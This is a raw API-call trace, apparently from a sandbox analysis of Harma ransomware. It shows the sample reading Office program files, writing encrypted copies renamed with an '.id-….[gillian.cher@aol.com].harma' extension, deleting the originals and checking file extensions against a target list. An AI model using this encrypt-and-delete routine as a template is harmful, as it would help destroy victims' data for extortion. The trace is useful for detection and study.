1 [0167.787] ReadFile (in: hFile=0x33c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.787] WriteFile (in: hFile=0x210, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.788] SetEndOfFile (hFile=0x210) returned 1 [0167.788] CloseHandle (hObject=0x210) returned 1 [0167.788] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.788] SetEndOfFile (hFile=0x33c) returned 1 [0167.799] CloseHandle (hObject=0x33c) returned 1 [0167.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 1 [0167.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.801] lstrlenW (lpString=".doc") returned 4 [0167.801] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0167.801] lstrlenW (lpString=".docx") returned 5 [0167.801] lstrcmpiW (lpString1=".docx", lpString2="G.LNG") returned -1 [0167.801] lstrlenW (lpString=".pdf") returned 4 [0167.801] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0167.801] lstrlenW (lpString=".xls") returned 4 [0167.801] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0167.801] lstrlenW (lpString=".xlsx") returned 5 [0167.801] lstrcmpiW (lpString1=".xlsx", lpString2="G.LNG") returned -1 [0167.801] lstrlenW (lpString=".ppt") returned 4 [0167.801] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0167.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.801] lstrlenW (lpString=".zip") returned 4 [0167.802] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0167.802] lstrlenW (lpString=".rar") returned 4 [0167.802] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0167.802] lstrlenW (lpString=".bz2") returned 4 [0167.802] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0167.802] lstrlenW (lpString=".7z") returned 3 [0167.802] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0167.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.802] lstrlenW (lpString=".dbf") returned 4 [0167.802] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0167.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.802] lstrlenW (lpString=".1cd") returned 4 [0167.802] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0167.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.802] lstrlenW (lpString=".jpg") returned 4 [0167.802] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0167.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.802] lstrlenW (lpString=".doc") returned 4 [0167.802] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0167.802] lstrlenW (lpString=".docx") returned 5 [0167.802] lstrcmpiW (lpString1=".docx", lpString2="G.LNG") returned -1 [0167.802] lstrlenW (lpString=".pdf") returned 4 [0167.802] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0167.802] lstrlenW (lpString=".xls") returned 4 [0167.802] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0167.803] lstrlenW (lpString=".xlsx") returned 5 [0167.803] lstrcmpiW (lpString1=".xlsx", lpString2="G.LNG") returned -1 [0167.803] lstrlenW (lpString=".ppt") returned 4 [0167.803] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.803] lstrlenW (lpString=".zip") returned 4 [0167.803] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0167.803] lstrlenW (lpString=".rar") returned 4 [0167.803] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0167.803] lstrlenW (lpString=".bz2") returned 4 [0167.803] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0167.803] lstrlenW (lpString=".7z") returned 3 [0167.803] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.803] lstrlenW (lpString=".dbf") returned 4 [0167.803] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.803] lstrlenW (lpString=".1cd") returned 4 [0167.803] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0167.803] lstrlenW (lpString=".jpg") returned 4 [0167.803] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0167.803] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0167.803] lstrlenW (lpString="MSART10.BDR") returned 11 [0167.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.821] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=9292) returned 1 [0167.821] CloseHandle (hObject=0x378) returned 1 [0167.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 0x20 [0167.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.917] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.917] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.918] GetLastError () returned 0x0 [0167.918] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x244c, lpOverlapped=0x0) returned 1 [0167.962] WriteFile (in: hFile=0x364, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x2450, lpOverlapped=0x0) returned 1 [0167.963] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.964] WriteFile (in: hFile=0x364, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0167.964] SetEndOfFile (hFile=0x364) returned 1 [0167.964] CloseHandle (hObject=0x364) returned 1 [0167.964] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.964] SetEndOfFile (hFile=0x330) returned 1 [0167.966] CloseHandle (hObject=0x330) returned 1 [0167.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 1 [0167.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.969] lstrlenW (lpString=".doc") returned 4 [0167.969] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0167.969] lstrlenW (lpString=".docx") returned 5 [0167.969] lstrcmpiW (lpString1=".docx", lpString2="0.BDR") returned -1 [0167.969] lstrlenW (lpString=".pdf") returned 4 [0167.969] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0167.969] lstrlenW (lpString=".xls") returned 4 [0167.969] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0167.969] lstrlenW (lpString=".xlsx") returned 5 [0167.969] lstrcmpiW (lpString1=".xlsx", lpString2="0.BDR") returned -1 [0167.969] lstrlenW (lpString=".ppt") returned 4 [0167.969] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0167.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.969] lstrlenW (lpString=".zip") returned 4 [0167.969] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0167.969] lstrlenW (lpString=".rar") returned 4 [0167.969] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0167.969] lstrlenW (lpString=".bz2") returned 4 [0167.970] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0167.970] lstrlenW (lpString=".7z") returned 3 [0167.970] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0167.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.970] lstrlenW (lpString=".dbf") returned 4 [0167.970] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0167.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.970] lstrlenW (lpString=".1cd") returned 4 [0167.970] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0167.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.970] lstrlenW (lpString=".jpg") returned 4 [0167.970] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0167.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.970] lstrlenW (lpString=".doc") returned 4 [0167.970] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0167.970] lstrlenW (lpString=".docx") returned 5 [0167.970] lstrcmpiW (lpString1=".docx", lpString2="0.BDR") returned -1 [0167.970] lstrlenW (lpString=".pdf") returned 4 [0167.970] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0167.970] lstrlenW (lpString=".xls") returned 4 [0167.970] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0167.970] lstrlenW (lpString=".xlsx") returned 5 [0167.970] lstrcmpiW (lpString1=".xlsx", lpString2="0.BDR") returned -1 [0167.970] lstrlenW (lpString=".ppt") returned 4 [0167.970] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0167.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.970] lstrlenW (lpString=".zip") returned 4 [0167.970] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0167.971] lstrlenW (lpString=".rar") returned 4 [0167.971] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0167.971] lstrlenW (lpString=".bz2") returned 4 [0167.971] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0167.971] lstrlenW (lpString=".7z") returned 3 [0167.971] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0167.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.971] lstrlenW (lpString=".dbf") returned 4 [0167.971] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0167.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.971] lstrlenW (lpString=".1cd") returned 4 [0167.971] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0167.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0167.971] lstrlenW (lpString=".jpg") returned 4 [0167.971] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0167.971] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0167.971] lstrlenW (lpString="MSART13.BDR") returned 11 [0167.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.972] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=28368) returned 1 [0167.972] CloseHandle (hObject=0x330) returned 1 [0167.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 0x20 [0167.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.973] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.973] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.974] GetLastError () returned 0x0 [0167.974] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x6ed0, lpOverlapped=0x0) returned 1 [0168.073] WriteFile (in: hFile=0x364, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x6ee0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x6ee0, lpOverlapped=0x0) returned 1 [0168.074] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.074] WriteFile (in: hFile=0x364, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0168.075] SetEndOfFile (hFile=0x364) returned 1 [0168.075] CloseHandle (hObject=0x364) returned 1 [0168.075] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.075] SetEndOfFile (hFile=0x330) returned 1 [0168.077] CloseHandle (hObject=0x330) returned 1 [0168.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 1 [0168.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.079] lstrlenW (lpString=".doc") returned 4 [0168.079] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.079] lstrlenW (lpString=".docx") returned 5 [0168.079] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0168.079] lstrlenW (lpString=".pdf") returned 4 [0168.079] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.079] lstrlenW (lpString=".xls") returned 4 [0168.079] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.079] lstrlenW (lpString=".xlsx") returned 5 [0168.079] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0168.079] lstrlenW (lpString=".ppt") returned 4 [0168.079] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.079] lstrlenW (lpString=".zip") returned 4 [0168.079] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.079] lstrlenW (lpString=".rar") returned 4 [0168.079] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.080] lstrlenW (lpString=".bz2") returned 4 [0168.080] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.080] lstrlenW (lpString=".7z") returned 3 [0168.080] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.080] lstrlenW (lpString=".dbf") returned 4 [0168.080] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.080] lstrlenW (lpString=".1cd") returned 4 [0168.080] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.080] lstrlenW (lpString=".jpg") returned 4 [0168.080] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.080] lstrlenW (lpString=".doc") returned 4 [0168.080] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.080] lstrlenW (lpString=".docx") returned 5 [0168.080] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0168.080] lstrlenW (lpString=".pdf") returned 4 [0168.080] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.080] lstrlenW (lpString=".xls") returned 4 [0168.080] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.080] lstrlenW (lpString=".xlsx") returned 5 [0168.080] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0168.080] lstrlenW (lpString=".ppt") returned 4 [0168.080] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.080] lstrlenW (lpString=".zip") returned 4 [0168.080] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.080] lstrlenW (lpString=".rar") returned 4 [0168.081] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.081] lstrlenW (lpString=".bz2") returned 4 [0168.081] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.081] lstrlenW (lpString=".7z") returned 3 [0168.081] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.081] lstrlenW (lpString=".dbf") returned 4 [0168.081] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.081] lstrlenW (lpString=".1cd") returned 4 [0168.081] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0168.081] lstrlenW (lpString=".jpg") returned 4 [0168.081] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.081] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0168.081] lstrlenW (lpString="MSART3.BDR") returned 10 [0168.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.096] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=57646) returned 1 [0168.096] CloseHandle (hObject=0x330) returned 1 [0168.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 0x20 [0168.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.096] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.096] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0168.098] GetLastError () returned 0x0 [0168.098] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xe12e, lpOverlapped=0x0) returned 1 [0168.196] WriteFile (in: hFile=0x364, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe130, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe130, lpOverlapped=0x0) returned 1 [0168.198] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.198] WriteFile (in: hFile=0x364, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0168.198] SetEndOfFile (hFile=0x364) returned 1 [0168.199] CloseHandle (hObject=0x364) returned 1 [0168.199] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.199] SetEndOfFile (hFile=0x330) returned 1 [0168.202] CloseHandle (hObject=0x330) returned 1 [0168.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 1 [0168.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0168.407] lstrlenW (lpString=".doc") returned 4 [0168.407] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 